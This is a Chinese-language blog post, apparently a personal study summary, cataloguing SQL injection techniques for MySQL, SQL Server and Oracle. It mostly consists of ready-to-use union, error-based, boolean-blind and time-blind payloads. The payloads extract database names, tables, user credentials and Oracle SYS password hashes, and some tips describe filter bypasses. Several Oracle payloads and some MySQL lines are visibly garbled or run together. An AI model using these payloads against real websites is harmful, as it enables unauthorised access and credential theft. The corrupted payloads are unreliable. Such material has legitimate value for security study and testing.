sql注入总结

sql注入总结

sql注入分类方式

提交方式

  • GET
  • POST
  • COOKIE

参数注入

  • 数字型
  • 字符型
  • 搜索型

数据库类型

  • ACCESS
  • MySQL
    • MySQL数据库默认在数据库中存放一个 information_schema 库 ,要记住该库中的3个表名:
      • SCHEMATA:存放该用户创建的所有数据库的库名,记录库名的字段名为SCHEMA_NAME
      • TABLES:存放该用户创建的所有数据库的库名和表名,记录库名的字段为TABLE_SCHEMA,记录表名的字段为TABLE_NAME
      • COLUMNS:存放该用户所创建的所有库名、表名和字段名,记录库名的字段为TABLE_SCHEMATABLE_NAMECOLUMN_NAME
  • MSSQL
  • Oracle

手工注入方法

  • 联合查询
  • 报错注入
  • 盲注
    • 时间盲注
    • 布尔盲注
  • 堆叠注入
  • 二次注入
  • 宽字节注入

MySQL

划分

  • 权限
    • root
    • 普通用户
  • 版本
    • mysql > 5.0
    • mysql < 5.0

root权限

  • load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径
    • 判断是否具有读写权限
      • and (select count(*) from mysql.user)>0#
      • and (select count(file_priv) from mysql.user)>#
    • Load_file() 该函数用来读取源文件的函数,只能读取绝对路径的网页文件
      • 注意:路径符号””错误 “”正确 “/”正确,转换成十六进制,不用“”
    • into outfile函数
      • 条件:1. 绝对路径 2.可以使用单引号

MySQL联合查询

注意:在使用union 语句查询时,要记得union两边的查询语句的字段数一致!!!!!!

  • 关于为什么让id=-1

    • 第一行的查询结果为空集,即union左边的select子句查询结果为 空,那么union右边的
      查询结果自然就成为了第一行,如:-1,0
      -1' union select 1,2,3--+
    • alt
  • 适用于mysql低于5.0版本

    • 判断是否可以注入

      • ?id=1 and 1=1,页面正常
        • ?id=1 and 1=2,页面空白
    • 获得查询语句中的字段数
      order by的方法来判断,(同样可以使用union select 1,2,3.....来猜测字段数)比如:

      • ?id=1 order by 4 页面显示正常
      • ?id=1 order by 5 页面出错,说明字段数等于4
    • 获得显示位

    在得知查询语句中查询的字段数后,可以获得显示位

    ?id=-1 union select 1,2,3,4 //比如,页面上出现了几个数字,分别是2,3,4,那么,这几个数字就被我们称作显示位。

    • 猜表名
      猜表名的方法是,在获得显示位的完整的地址后加上:from 表名,比如:

      • ?id=-1 union select 1,2,3,4 from users
        这样,当users表存在的话,页面就会显示正常,如果我们提交一个不存在的表名,页面就会出错。
    • 猜字段
      使用:concat(字段名)替换显示位的位置。

      • ?id=-1 union select 1,2,3,concat(username,password) from users
  • 适用于Mysql 5.0以上版本支持查表查列

    • 先判断是否可以注入

      • and+1=1,页面正常(用加号代替空格)
      • and+1=2,页面空白
    • 获得字段数:
      使用order by提交:

      • ?id=1 order by 4 正确。
      • ?id=1 order by 5 错误。
        那么,判断出字段数为4。
    • 获得显示位
      提交:

      • ?id=-1 +union+select+1,2,3,4
        显示位为:2,3,4
    • 注意:确定显示位,要用错误的数据,如?id=-1

    • 获取信息

      • ?id=-1 +union+select+1,2,3,version()
      • database()
      • user()
      • version()
      • database()
      • @@basedir 数据库安装路径
      • @@datadir 数据库路径
    • 获取所有数据库

      • select group_concat(schema_name) from information_schema.schemata
    • 查表

      • select table_name from information_schema.tables where table_schema=0x74657374(数据库名test的Hex) limit 0,1

        • (注意: 0x 开始的数据表示 16 进制)
        • 当显示位足够时,不需要limit
        • 经测试,该语句中,数据库名只能使用16进制形式
      • select group_concat(table_name) from information_schema.tables where table_schema='库名'

        • 库名可以用单引号或双引号括起
    • 查字段

      • select column_name from information_schema.columns where table_name=0x74657374 limit 0,1
      • select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'
        • 当知道库名时可将database() 替换为库名
    • 爆字段内容

      • select concat(username,password) from 表名
      • select group_concat(username,password) from 表名
        • 经测试,字段名替换为16进制数可以查询成功,如username替换为:0x757365726e616d65
  • 注意:在select数据时,我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数。在sqli中,常见的字符串连接函数有concat(),group_concat(),concat_ws()。

MySQL报错注入

原理分析

  • mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。

    • floor报错:select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*2)); 0x7e是16进制的~

      • 利用 floor () 的报错注入实际上是由 rand () , count () , group by 三个函数语句联合使用造成的

        • concat: 连接字符串功能

        • floor: 取float的整数值(向下取整)

        • rand: 用于产生0(包含)到1(不包含)的随机数

          • 可以给 rand () 传一个参数作为 rand () 的种子,指定了随机数的种子,那么多次查询的结果是一样的,如rand(0)
        • group by: 根据一个或多个列对结果集进行分组并有排序功能

          • 注意, group by 后跟的字段名是作为虚拟表的主键,主键不能重复,报错的主要原因是虚拟表的主键重复
        • floor(rand(0)*2): 随机产生0或1

      • 建立的表

      • 通过chengji这个字段来对表中数据进行分组

      可以看到我们出现了一个新的数据表,有chengji 、 count () 这两个字段,count () 字段下表示每个人的成绩,可以联想到 group by 子句的执行流程,最初时,chengji-count () 这个数据表是空的,通过一行一行读原数据表中的 chengji 字段,如果读到的 chengji 在 chengji-count () 数据表中不存在,就将它插入,并且将对应的 count () 赋为 1,如果存在,就将其对应的 count () +1,直至扫完整个数据表。

      • floor (rand ()2) 和 floor (rand (0)2) 表示产生 0 或者 1

        我们来比较下它们的区别:

        指定了随机数的种子,那么多次查询的结果是一样的

        不指定随机数,每次查询结果不一样

      • 执行语句select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*2));

        当数据表记录大于三时,使用 group by floor (rand (0)*2) 一定报错

    • extractvalue () 报错:select chengji from users where id = '1' and (extractvalue('abcd',concat(0x7e,(select database()))));

      • 几个相关函数:

        • extractvalue():从目标 XML 中返回包含所查询值的字符串。

          • extractvalue () 能查询字符串的最大长度为 32,就是说如果我们想要的结果超过 32,就需要用 substring () 函数截取。
        • EXTRACTVALUE (XML_document, XPath_string);

          • 第一个参数:XML_document是 String 格式,为 XML 文档对象的名称,文中为 Doc 。

          • 第二个参数:XPath_string ( Xpath 格式的字符串)

          • 我们主要利用在第二个参数的位置,当正常查询时,第二个参数应该是 /xxx/xxx/xxx/… 这种形式。如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

            正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

        • concat:返回结果为连接参数产生的字符串。

      • 操作:

        由图可见,当格式正常时,没有报错,使用concat()连接,导致格式出错,最终报错。

      • 结果超过32位时,使用substring

      select name from users where id=1 and (extractvalue('anything',concat('#',substring(hex((select database())),1,5))))

    • updatexml () 报错:select name from users where id=1 and (updatexml('anything',concat('~',(select database())),'anything'))

      • 相关函数:
        • UPDATEXML (XML_document, XPath_string, new_value);
          • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 。
          • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
          • 第三个参数:new_value,String格式,替换查找到的符合条件的数据 。
        • 作用:改变文档中符合条件的节点的值。
        • updatexml () 报错与 extractvalue () 报错类似,都是由于 xpath 格式错误报错,同样能查询字符串的最大长度为 32,同样在第二个参数出插入我们需要的语句代码。
      • 操作:

    • and GeometryCollection((selectfrom(selectfrom(select @@version)f)x))

    • and polygon((select*from(select name_const(version(),1))x))

    • and linestring((select * from(select * from(select user())a)b))

    • and multilinestring((select * from(select * from(select version())a)b));

    • and multipoint((select * from(select * from(select user())a)b));

    • and multipolygon((select * from(select * from(select user())a)b));

MySQL盲注

常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。

  • 基于True或False的类型

    • 判断库名长度
      • id=1 and (select length(database()))=20 返回正常页面 长度20位
      • id=1 and length(database())=3
    • 判断库名组成
    • id=1 and ord(substr((SELECT username FROM users limit 0,1),1,1))=97
      //截取username第一个数据的ascii值
      • ?id=1 and substr(database(),1,1)='s'
        //判断数据库的第一个字母是否为s
    • 判断表名的组成
      id=1 and substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1)='e'--+
    • 判断字段名的组成
      ?id=1 and substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1)='e'--+
  • 注:substr是截取的意思,每次只返回一个值,特别注意,limit是从0开始,substr是从1开始

  • Order by盲注

    • 原理:order by rand(True)和order by rand(False)的结果排序是不同的
  • 基于时间型注入

有5种常见类型

  • sleep()
    • 1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0))
      1 xor if(ascii(substr(user(),1,1)) like 1124,benchmark(1000000, md5('1')),'2')
    • ?id=1 and if(length(database())>3,sleep(5),1)--+
    • 注:语句 if(expr1,expr2.expr3),其含义为,如果expr1是true,则返回值为expr2,否则返回值为expr3
  • benchmark()

通过大量运算来模拟延时

  • 笛卡尔积

计算笛卡尔积也是通过大量运算模拟延时

  • get_lock

属于比较鸡肋的一种时间盲注,需要两个session,在第一个session中加锁:然后再第二个session中执行查询:

  • rlike+rpad


二次注入

SQLServer

权限

  • SA权限
    • 数据库操作,文件管理,命令执行,注册表读取等
  • Db权限
    • 文件管理,数据库操作等
  • Public权限
    • 数据库操作

SQLServer 联合查询

  • 判断是否存在注入

    ?id=1 and 1=1-- 返回正确
    ?id=1 and 1=2-- 返回错误

  • 获取字段数

    ?id=1 order by 2-- 返回正确页面

    ?id=1 order by 3-- 返回错误页面 字段长度为2

  • 查看数据库版本
    ?id=1 and 1=2 union select db_name(),null //获得当前数据库

  • 查看表名
    ?id=1 and 1=2 union select top 1 TABLE_NAME ,2 from INFORMATION_SCHEMA.TABLES where table_name not in ('users')

  • 查看列名
    ?id=1 and 1=2 union select top 1 column_name ,2 from information_schema.columns where table_name ='users' and column_name not in ('uname')

  • 获取数据

SQLServer 报错注入

  • 获取表名
    ?id=4' and 1>(select top 1 TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in ('admin') )--

  • 获取列名
    ?id=4' and 1>(select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin' and column_name not in ('id')) --

  • 获取数据
    ?id=4' and 1=(select top 1 pwd from admin) --

  • 获取数据库信息
    ?id=1' and 1=(select @@version)-- //SQL Server 2000
    ?id=1' and 1=(select db_name()) //当前使用的数据库

SQLServer 盲注

  • 猜表名

    ?id=1 and (select count() from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and len(name)=7)=1 -- //获取第一个表的长度7

    ?id=1 and (select count() from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,1,1))=116)=1 -- //截取第一个表第一位的ascii码

    ?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))>115)=1 --//猜第二个表的第一位ASCII值
    得到表名,进一步猜解字段

  • 猜字段
    id=1 and
    (select count() from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users')) and ascii(substring(name,1,1))=117)=1
    //获取users表第一个字段的ASCII值

    id=1 and
    (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users') ) and name not in ('upass') and ascii(substring(name,1,1))>90)=1 --
    //获取user表第二个字段的第一位ASCII值

  • 猜数据
    id=1 and (ascii(substring((select top 1 uname from users),1,1)))=33 --
    //获取users表中uname字段的第一位ASCII值

Oracle

联合查询

  • Union select null,null,null 从第一个null开始加’null’,得到显示位
    Union select null,null,null from dual 返回正确,存在dual表
    Union Select tablespace_name from user_tablespaces //查库
    Union Select table_name from user_tables where rownum = 1 and table_name<>’news’ //查表
    Union Select column_name from user_tab_columns where table_name=’users’ //查列
    ?id=1 order by 1-- //获取字段数
    and+1=1+union+all+select+(SELECT banner FROM v(version where rownum=1)+from+dual--//获取数据库版本 and+1=1+union+all+select+(select user from dual where rownum=1)+from+dual-- //获取当前连接数据库的用户名 union+all+select+(select password from sys.user) where rownum=1 and name='SYS')+from+dual-- -- //获取用户SYS密文密码
    union+all+select+(SELECT name FROM v$database)+from+dual-- //获取库名
    and+1=1+union+all+select+(select table_name from user_tables where rownum=1)+from+dual--//获取第一个表名

手工显错注入

  • 最大的区别就是utl_inaddr.get_host_address这个函数,10g可以调用,11g需要dba高权限

    //判断是否是oracle
    ?id=1 and exists(select * from dual)--
    //获取库名
    ?id=1 and 1=utl_inaddr.get_host_address((SELECT name FROM v(database))—- //获取数据库服务器所在ip ?id=1 and 1=ctxsys.drithsx.sn(1,(select UTL_INADDR.get_host_address from dual where rownum=1))-- ?id=1 and 1= CTXSYS.CTX_QUERY.CHK_XPATH((select banner from v)version where rownum=1),'a','b')--
    ?id=1 or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where rownum=1),'a','b')--
    ?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
    ?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--

盲注

  • 基于布尔类型的盲注
    • ?id=7782' and length((SELECT name FROM v(database))=4-- 获取数据库名长度 ?id=7782' and ascii(substr((SELECT name FROM v)database),1,1))=79--
      获取数据库名第一位为O
  • 基于时间延迟的盲注
    • ?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM v(database),1,1))=79) THEN 1 ELSE 2 END)-- ?id=7782' AND 1=(CASE WHEN (ascii(substr((SELECT name FROM v)database),1,1))=79) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5) ELSE 1 END)--

      MSSQL

  • 初步判断是否是mssql
    ;and user>0

绕过总结

基础绕过

  • 大小写绕过

    用于过滤时没有匹配大小写的情况:SelECt * from table;

  • 双写绕过

    用于将禁止的字符直接删掉的过滤情况如:

    preg_replace(‘/select/‘,’’,input)则可用seselectlect *from xxx来绕过,在删除一个select后剩下的就是select* from xxx

    添加注释

    /*! */类型的注释,内部的语句会被执行

原文地址:https://www.cnblogs.com/hacker-snail/p/13903628.html